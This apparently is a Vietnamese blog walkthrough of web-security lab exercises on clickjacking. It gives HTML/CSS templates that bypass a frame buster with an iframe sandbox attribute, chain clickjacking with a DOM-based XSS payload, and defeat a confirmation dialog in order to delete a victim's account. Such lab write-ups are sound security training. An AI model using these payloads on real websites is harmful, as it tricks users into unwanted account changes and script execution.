Penetration Testing Step 3 – Clickjacking attack (tiếp theo và hết)

Tiếp theo nội dung Penetration Testing Step 3 – “Lần đầu” với Clickjacking, kỳ này tôi sẽ giới thiệu các tình huống tiếp theo với Clickjacking attack bao gồm:

  • Tấn công khi mục tiêu sử dụng giải pháp frame busting/ frame breaking scripts nhằm ngăn chặn Clickjacking (ví dụ cho tất cả đám frame có mặt “hiện hình” – visible hoặc không cho phép click vào invisible frame);
  • Tấn công mục tiêu khi Clickjacking attack được sử dụng làm bàn đạp cho các đòn đánh khác (ví dụ DOM-based XSS);
  • Tấn công với nhiều bước khi mục tiêu sử dụng giải pháp confirmation dialog.

Lưu ý:

#1. Clickjacking attack khi mục tiêu sử dụng frame buster script

Trong kịch bản này, mục tiêu được bảo vệ với frame buster nhằm ngăn chặn kẻ xấu tuồn frame “lậu” vào. Tuy nhiên, với giải pháp này, nạn nhân vẫn có thể bị dắt mũi với thủ thuật sử dụng sanbox như sau.

Đầu tiên, tôi cũng login vào hệ thống với credentials quen thuộc wiener:peter và xác định sự hiện diện của Update email function.

Update email function
Update email function

Sau đó, tôi có thể chuẩn bị một cái HTML template như sau để quất vào chỗ Body section trên Exploit Server.

<style>

    iframe {

        position:relative;

        width: $width_value;

        height: $height_value;

        opacity: $opacity;

        z-index: 2;

    }

    div {

        position:absolute;

        top: $top_value;

        left: $side_value;

        z-index: 1;

    }

</style>

<div>Test me</div>

<iframe sandbox="allow-forms"

src="$url?email=hacker@attacker-website.com"></iframe>

Chỗ này, tôi sẽ cần cập nhật lại tương ứng cái Lab ID (https://ac7a1f251f21a09fc07c033a00cb00aa.web-security-academy.net/my-account trong trường hợp của tôi) vô chỗ $url. Đồng thời, tôi sẽ cần hiệu chỉnh:

  • 2 thông số $width_value$height_value để phù hợp với cái iframe;
  • 2 thông số $top_value$side_value để cái Click me button trên decoy website vừa khớp với Update email button;
  • Thiết lập giá trị $opacity (với giá trị cỡ 0.0001) để cái iframe chim cút ra khỏi tầm mắt của nạn nhân sau khi tôi đã bố trí mọi thứ gọn đẹp;
  • Ngoài các thứ quen thuộc nói trên, ở đây sẽ xuất hiện một đối tượng mới là sandbox=”allow-forms” (hoặc allow-scripts). Đối tượng này có vai trò quyết định vào sự thành bại của trận đấu vì có khả năng vô hiệu hóa cái frame buster script đề cập ở trên.
Exploit Server
Exploit Server

Sau khi đẩy hàng vô Exploit Server, tôi chọn StoreView exploit rồi hì hục chỉnh sửa các thông số đến khi có sản phẩm “chất lượng” như sau.

iframe location
iframe location

Và chỉ cần có vậy, lúc này khi tôi click Deliver exploit to victim thì nạn nhân sẽ ăn hành ngập mồm.

#2. Sử dụng Clickjacking attack làm bàn đạp để kích hoạt DOM-based XSS attack

Tôi chuyển sang một kịch bản phức tạp hơn khi clickjacking sẽ đóng vai trò làm tác nhân kích hoạt lỗ hổng DOM-based XSS trên mục tiêu.

Submit feedback
Submit feedback

Lưu ý:

Vẫn như cũ, tôi lại chuẩn bị một cái HTML template kiểu như sau để quất vô Body section trên Exploit Server.

<style>

     iframe {

           position:relative;

           width: $width_value;

           height: $height_value;

           opacity: $opacity;

           z-index: 2;

     }

     div {

           position:absolute;

           top: $top_value;

           left: $side_value;

           z-index: 1;

     }

</style>

<div>Test me</div>

<iframe

src="$url?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

Tương tự, tôi sẽ cần cập nhật:

  • Giá trị tương ứng của Lab ID (https://ac1d1fe31f40c1fac0142e1000380048.web-security-academy.net/feedback trong trường hợp của tôi) vô chỗ $url.
  • 2 thông số $width_value$height_value để phù hợp với cái iframe;
  • 2 thông số $top_value$side_value để cái Click me button trên decoy website vừa khớp với Submit feedback button;
  • Thiết lập giá trị $opacity (với giá trị cỡ 0.0001) để cái iframe chim cút ra khỏi tầm mắt của nạn nhân sau khi tôi đã bố trí mọi thứ gọn đẹp;
  • Đối tượng mới xuất hiện trong kịch bản này là onerror=print() với hàm ý rằng khi xuất hiện lỗi (chắc chắn sẽ xuất hiện vì cái src=1 vớ vẩn), cái print() sẽ thực thi.
Exploit Server
Exploit Server

Tôi cũng sẽ lại chọn StoreView exploit rồi hì hục chỉnh sửa các thông số đến khi có được kết quả như sau trước khi xả đạn với Deliver exploit to victim.

iframe location
iframe location

#3. Multistep clickjacking với mục tiêu sử dụng confirmation dialog

Tôi tiếp tục chuyển sang tình huống demo phức tạp hơn với Clickjacking. Trong kịch bản này, mục tiêu sử dụng confirmation dialog để chống đỡ Clickjacking attack.

Cụ thể, sau khi login vào hệ thống với credentials wiener:peter, tôi ghi nhận sự xuất hiện của chức năng Delete account.

Delete account function
Delete account function

Chọn thử chức năng Delete account, tôi sẽ thấy xuất hiện confirmation dialog để xác nhận. Để xử lý tình huống này, tôi sẽ cần bố trí một cái HTML template kiểu như sau để đưa vào Body section trên Exploit server.

<style>

iframe {

      position:relative;

      width: $width_value;

      height: $height_value;

      opacity: $opacity;

      z-index: 2;

}

   .firstClick, .secondClick {

      position:absolute;

      top: $top_value1;

      left: $side_value1;

      z-index: 1;

}

   .secondClick {

      top: $top_value2;

      left: $side_value2;

}

</style>

<div class="firstClick">Test me first</div>

<div class="secondClick">Test me next</div>

<iframe src="$url"></iframe>

Như 2 kịch bản trước đó, tôi sẽ cần cập nhật:

  • Giá trị tương ứng của Lab ID (https://ac451fe71e18b6d6c0aa746c001900c3.web-security-academy.net/my-account trong trường hợp của tôi) vô chỗ $url.
  • 2 thông số $width_value$height_value để phù hợp với cái iframe;
  • 2 thông số $top_value1$side_value1 để cái Test me first button trên decoy website vừa khớp với Delete account button;
  • 2 thông số $top_value2$side_value2 để cái Test me next button trên decoy website vừa khớp với Yes button của confirmation dialog;
  • Thiết lập giá trị $opacity (với giá trị cỡ 0.0001) để cái iframe chim cút ra khỏi tầm mắt của nạn nhân sau khi tôi đã bố trí mọi thứ gọn đẹp.
Exploit Server
Exploit Server

Tiếp đến, tôi cũng sẽ lại chọn StoreView exploit rồi hì hục chỉnh sửa các thông số đến khi có được kết quả như sau cho cả hai cái button.

1st iframe location
1st iframe location
2nd iframe location
2nd iframe location

Và cuối cùng, tôi sẽ xả đạn với Deliver exploit to victim để kết thúc trận đấu cũng như kết thúc luôn nội dung liên quan đến Clickjacking attack.

Leave a Reply

Your email address will not be published. Required fields are marked *